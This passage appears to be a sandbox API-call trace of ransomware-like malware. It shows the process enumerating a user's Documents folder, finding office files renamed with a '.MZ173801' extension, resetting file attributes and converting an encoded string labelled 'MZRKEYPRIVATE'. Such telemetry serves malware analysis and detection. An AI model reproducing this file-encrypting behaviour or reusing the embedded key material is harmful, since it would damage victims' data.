ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x13f03, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="283NpHh8_ly2.xlsx.MZ173801", cAlternateFileName="283NPH~1.MZ1")) returned 1 [0169.226] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0169.226] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0169.226] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14f10a0, ftCreationTime.dwHighDateTime=0x1d5a870, ftLastAccessTime.dwLowDateTime=0x940234b0, ftLastAccessTime.dwHighDateTime=0x1d5d76c, ftLastWriteTime.dwLowDateTime=0x8ddab178, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xc635, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2f1V.pptx.MZ173801", cAlternateFileName="2F1VPP~1.MZ1")) returned 1 [0169.226] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0169.226] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0169.226] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fd829c0, ftCreationTime.dwHighDateTime=0x1d5c61e, ftLastAccessTime.dwLowDateTime=0xd7ebd2e0, ftLastAccessTime.dwHighDateTime=0x1d5d874, ftLastWriteTime.dwLowDateTime=0x8deb1df4, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xd3fb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4fnqeRI1O.pptx.MZ173801", cAlternateFileName="4FNQER~1.MZ1")) returned 1 [0169.226] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0169.226] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0169.226] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd04ac0, ftCreationTime.dwHighDateTime=0x1d5a46f, ftLastAccessTime.dwLowDateTime=0xc634a160, ftLastAccessTime.dwHighDateTime=0x1d5af9a, ftLastWriteTime.dwLowDateTime=0x8df4a812, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x5a50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="aIJExqDF7Y-Vj3MR.docx.MZ173801", cAlternateFileName="AIJEXQ~1.MZ1")) returned 1 [0169.226] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0169.226] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0169.226] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24881270, ftCreationTime.dwHighDateTime=0x1d5b1fc, ftLastAccessTime.dwLowDateTime=0xe9362b50, ftLastAccessTime.dwHighDateTime=0x1d5709f, ftLastWriteTime.dwLowDateTime=0x8e0ee20d, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x131c8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bx_sreHB6g Fc-Lx.xlsx.MZ173801", cAlternateFileName="BX_SRE~1.MZ1")) returned 1 [0169.226] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0169.226] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0169.226] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3340555c, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x3396299d, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x8e435558, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x55000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Database1.accdb.MZ173801", cAlternateFileName="DATABA~1.MZ1")) returned 1 [0169.226] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0169.226] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0169.227] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x440c5760, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x440c5760, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce494f1d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0169.227] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd94dbc90, ftCreationTime.dwHighDateTime=0x1d5ee5c, ftLastAccessTime.dwLowDateTime=0x2f9e45b0, ftLastAccessTime.dwHighDateTime=0x1d5e2b4, ftLastWriteTime.dwLowDateTime=0x2f9e45b0, ftLastWriteTime.dwHighDateTime=0x1d5e2b4, nFileSizeHigh=0x0, nFileSizeLow=0xcc7a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DHtHRL.odp", cAlternateFileName="")) returned 1 [0169.227] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0169.227] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0169.227] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd02963b0, ftCreationTime.dwHighDateTime=0x1d59422, ftLastAccessTime.dwLowDateTime=0xf91fa410, ftLastAccessTime.dwHighDateTime=0x1d57ed2, ftLastWriteTime.dwLowDateTime=0x8e4a7c6b, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x16072, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EdrNe.pptx.MZ173801", cAlternateFileName="EDRNEP~1.MZ1")) returned 1 [0169.227] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0169.227] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0169.227] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dae6cc0, ftCreationTime.dwHighDateTime=0x1d5e955, ftLastAccessTime.dwLowDateTime=0x6d703fc0, ftLastAccessTime.dwHighDateTime=0x1d5a884, ftLastWriteTime.dwLowDateTime=0x8e58cb16, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xb853, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="eh9nFqOb33ZYsx1OOIH.docx.MZ173801", cAlternateFileName="EH9NFQ~1.MZ1")) returned 1 [0169.227] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0169.227] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0169.227] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d0983e0, ftCreationTime.dwHighDateTime=0x1d59cc6, ftLastAccessTime.dwLowDateTime=0x3350fda0, ftLastAccessTime.dwHighDateTime=0x1d59409, ftLastWriteTime.dwLowDateTime=0x8e5b2e3f, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x18472, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fMxk2fHJ.pptx.MZ173801", cAlternateFileName="FMXK2F~1.MZ1")) returned 1 [0169.227] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0169.227] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0169.227] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd340f6c0, ftCreationTime.dwHighDateTime=0x1d5e9ff, ftLastAccessTime.dwLowDateTime=0x7bad340, ftLastAccessTime.dwHighDateTime=0x1d5e4dc, ftLastWriteTime.dwLowDateTime=0x7bad340, ftLastWriteTime.dwHighDateTime=0x1d5e4dc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="iLaJJJl9bXoFrg4vmuJ", cAlternateFileName="ILAJJJ~1")) returned 1 [0169.227] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0169.227] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0169.227] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd340f6c0, ftCreationTime.dwHighDateTime=0x1d5e9ff, ftLastAccessTime.dwLowDateTime=0x7bad340, ftLastAccessTime.dwHighDateTime=0x1d5e4dc, ftLastWriteTime.dwLowDateTime=0x7bad340, ftLastWriteTime.dwHighDateTime=0x1d5e4dc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName=".", cAlternateFileName="")) returned 0xa1b9a0 [0169.227] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd340f6c0, ftCreationTime.dwHighDateTime=0x1d5e9ff, ftLastAccessTime.dwLowDateTime=0x7bad340, ftLastAccessTime.dwHighDateTime=0x1d5e4dc, ftLastWriteTime.dwLowDateTime=0x7bad340, ftLastWriteTime.dwHighDateTime=0x1d5e4dc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="..", cAlternateFileName="")) returned 1 [0169.227] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd039c60, ftCreationTime.dwHighDateTime=0x1d5f119, ftLastAccessTime.dwLowDateTime=0x33172590, ftLastAccessTime.dwHighDateTime=0x1d5ebc4, ftLastWriteTime.dwLowDateTime=0x33172590, ftLastWriteTime.dwHighDateTime=0x1d5ebc4, nFileSizeHigh=0x0, nFileSizeLow=0xc3e2, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Bm_0O.pptx", cAlternateFileName="BM_0O~1.PPT")) returned 1 [0169.227] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7fc | out: lpLocalFileTime=0x19f7fc) returned 1 [0169.227] FileTimeToDosDateTime (in: lpFileTime=0x19f7fc, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0169.228] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\Bm_0O.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\bm_0o.pptx"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd039c60, ftCreationTime.dwHighDateTime=0x1d5f119, ftLastAccessTime.dwLowDateTime=0x33172590, ftLastAccessTime.dwHighDateTime=0x1d5ebc4, ftLastWriteTime.dwLowDateTime=0x33172590, ftLastWriteTime.dwHighDateTime=0x1d5ebc4, nFileSizeHigh=0x0, nFileSizeLow=0xc3e2)) returned 1 [0169.228] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\Bm_0O.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\bm_0o.pptx")) returned 0x20 [0169.228] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\Bm_0O.pptx", dwFileAttributes=0x80) returned 1 [0169.230] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0169.230] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321ec7c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0169.231] GetCurrentThreadId () returned 0xab4 [0169.231] GetCurrentThreadId () returned 0xab4 [0169.231] GetCurrentThreadId () returned 0xab4 [0169.232] WideCharToMultiByte (in: 